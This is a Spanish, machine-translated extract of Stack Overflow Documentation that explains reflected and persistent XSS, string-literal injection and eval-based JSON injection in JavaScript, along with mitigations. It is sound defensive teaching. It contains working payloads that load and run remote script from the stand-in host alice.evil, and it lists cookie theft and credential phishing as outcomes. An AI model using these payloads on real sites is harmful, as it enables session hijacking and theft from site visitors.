Buscar..


Introducción

Esta es una colección de problemas comunes de seguridad de JavaScript, como XSS y eval injection. Esta colección también contiene cómo mitigar estos problemas de seguridad.

Reflejo de secuencias de comandos entre sitios (XSS)

Digamos que Joe posee un sitio web que le permite iniciar sesión, ver videos de cachorros y guardarlos en su cuenta.

Cuando un usuario busca en ese sitio web, se le redirige a https://example.com/search?q=brown+puppies .

Si la búsqueda de un usuario no coincide con nada, entonces ven un mensaje en la línea de:

Su búsqueda ( cachorros marrones ), no coincide con nada. Inténtalo de nuevo.

En el backend, ese mensaje se muestra así:

if(!searchResults){
    webPage += "<div>Your search (<b>" + searchQuery + "</b>), didn't match anything. Try again.";
}

Sin embargo, cuando Alice busca <h1>headings</h1> , recupera esto:

Tu búsqueda (

encabezados

) no coincide con nada. Inténtalo de nuevo.

HTML sin procesar:

Your search (<b><h1>headings</h1></b>) didn't match anything. Try again.

Que Alicia busca la <script>alert(1)</script> , ve:

Su búsqueda (), no coincide con nada. Inténtalo de nuevo.

Y:

Un cuadro de alerta que dice "1".

Que Alicia busca <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies de <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies , y copia el enlace en su barra de direcciones, y luego envía correos electrónicos a Bob:

Mover,

Cuando busco cachorros lindos , ¡no pasa nada!

Luego, Alice logra que Bob ejecute su script mientras Bob inicia sesión en su cuenta.

Mitigación:

  1. Escape todos los corchetes angulares en las búsquedas antes de devolver el término de búsqueda cuando no se encuentren resultados.
  2. No devuelva el término de búsqueda cuando no se encuentren resultados.
  3. Agregue una Política de seguridad de contenido que se niegue a cargar contenido activo de otros dominios

Secuencias de comandos persistentes entre sitios (XSS)

Digamos que Bob posee un sitio web social que permite a los usuarios personalizar sus perfiles.

Alice va al sitio web de Bob, crea una cuenta y va a la configuración de su perfil. Ella establece la descripción de su perfil como en I'm actually too lazy to write something here.

Cuando sus amigos ven su perfil, este código se ejecuta en el servidor:

if(viewedPerson.profile.description){
    page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
    page += "<div>This person doesn't have a profile description.</div>";
}

Resultando en este HTML:

<div>I'm actually too lazy to write something here.</div>

Que Alice establece la descripción de su perfil en <b>I like HTML</b> . Cuando ella visita su perfil, en lugar de ver

<b> Me gusta HTML </b>

ella ve

Me gusta el HTML

Entonces Alice establece su perfil en

<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.

Cada vez que alguien visita su perfil, ejecuta el script de Alicia en el sitio web de Bob mientras está conectado como su cuenta.

Mitigación

  1. Escape corchetes angulares en descripciones de perfil, etc.
  2. Almacene las descripciones de los perfiles en un archivo de texto simple que luego se recupera con un script que agrega la descripción a través de .innerText
  3. Agregue una Política de seguridad de contenido que se niegue a cargar contenido activo de otros dominios

Persistentes secuencias de comandos entre sitios de literales de cadena JavaScript

Digamos que Bob posee un sitio que te permite publicar mensajes públicos.

Los mensajes son cargados por un script que se ve así:

addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");

La función addMessage agrega un mensaje publicado al DOM. Sin embargo, en un esfuerzo por evitar XSS, se escapa cualquier HTML en los mensajes publicados.

El script se genera en el servidor de esta manera:

for(var i = 0; i < messages.length; i++){
    script += "addMessage(\"" + messages[i] + "\");";
}

Así que Alice publica un mensaje que dice: My mom said: "Life is good. Pie makes it better. " . Cuando ve el mensaje de antemano, en lugar de ver su mensaje, ve un error en la consola:

Uncaught SyntaxError: missing ) after argument list

¿Por qué? Debido a que el script generado se ve así:

addMessage("My mom said: "Life is good. Pie makes it better. "");

Eso es un error de sintaxis. Que Alice publica:

I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//

Entonces el script generado se ve como:

addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");

Eso agrega el mensaje I like pie , pero también descarga y ejecuta https://alice.evil/js_xss.js cada vez que alguien visita el sitio de Bob.

Mitigación:

  1. Pase el mensaje publicado en JSON.stringify ()
  2. En lugar de crear dinámicamente una secuencia de comandos, genere un archivo de texto sin formato que contenga todos los mensajes que la secuencia de comandos recupera posteriormente
  3. Agregue una Política de seguridad de contenido que se niegue a cargar contenido activo de otros dominios

¿Por qué los scripts de otras personas pueden dañar su sitio web y sus visitantes?

Si no cree que los scripts maliciosos puedan dañar su sitio, está equivocado . Aquí hay una lista de lo que podría hacer un script malicioso:

  1. Se retira del DOM para que no se pueda rastrear.
  2. Roba las cookies de sesión de los usuarios y habilita al autor del script para iniciar sesión y suplantarlos
  3. Mostrar un falso "Su sesión ha caducado. Por favor, vuelva a iniciar sesión". Mensaje que envía la contraseña del usuario al autor del script .
  4. Registre un trabajador de servicio malicioso que ejecute un script malicioso en cada visita a ese sitio web.
  5. Coloque un paywall falso que exija que los usuarios paguen dinero para acceder al sitio que realmente va al autor del script .

Por favor, no piense que XSS no dañará su sitio web y sus visitantes.

Inyección de JSON evaluada

Digamos que cada vez que alguien visita una página de perfil en el sitio web de Bob, se obtiene la siguiente URL:

https://example.com/api/users/1234/profiledata.json

Con una respuesta como esta:

{
    "name": "Bob",
    "description": "Likes pie & security holes."
}

Que los datos se analizan y se insertan:

var data = eval("(" + resp + ")");
document.getElementById("#name").innerText = data.name;
document.getElementById("#description").innerText = data.description;

Parece bueno, ¿verdad? Incorrecto.

¿Qué pasa si la descripción de alguien es Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS. ? Parece extraño, pero si está mal hecho, la respuesta será:

{
    "name": "Alice",
    "description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
}

Y esto será eval :

({
    "name": "Alice",
    "description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
})

Si no cree que eso sea un problema, péguelo en la consola y vea qué sucede.

Mitagacion

  • Use JSON.parse en lugar de eval para obtener JSON. En general, no use eval, y definitivamente no use eval con algo que un usuario pueda controlar. Eval crea un nuevo contexto de ejecución , creando un impacto de rendimiento .

  • Escape adecuadamente " y \ en los datos de usuario antes de ponerlos en JSON. Si simplemente escapa " , entonces esto sucederá:

    Hello! \"});alert(1);({
    

    Se convertirá a:

    "Hello! \\"});alert(1);({"
    

    Ups. Recuerda escapar tanto de \ como de " , o simplemente usa JSON.parse.



Modified text is an extract of the original Stack Overflow Documentation
Licenciado bajo CC BY-SA 3.0
No afiliado a Stack Overflow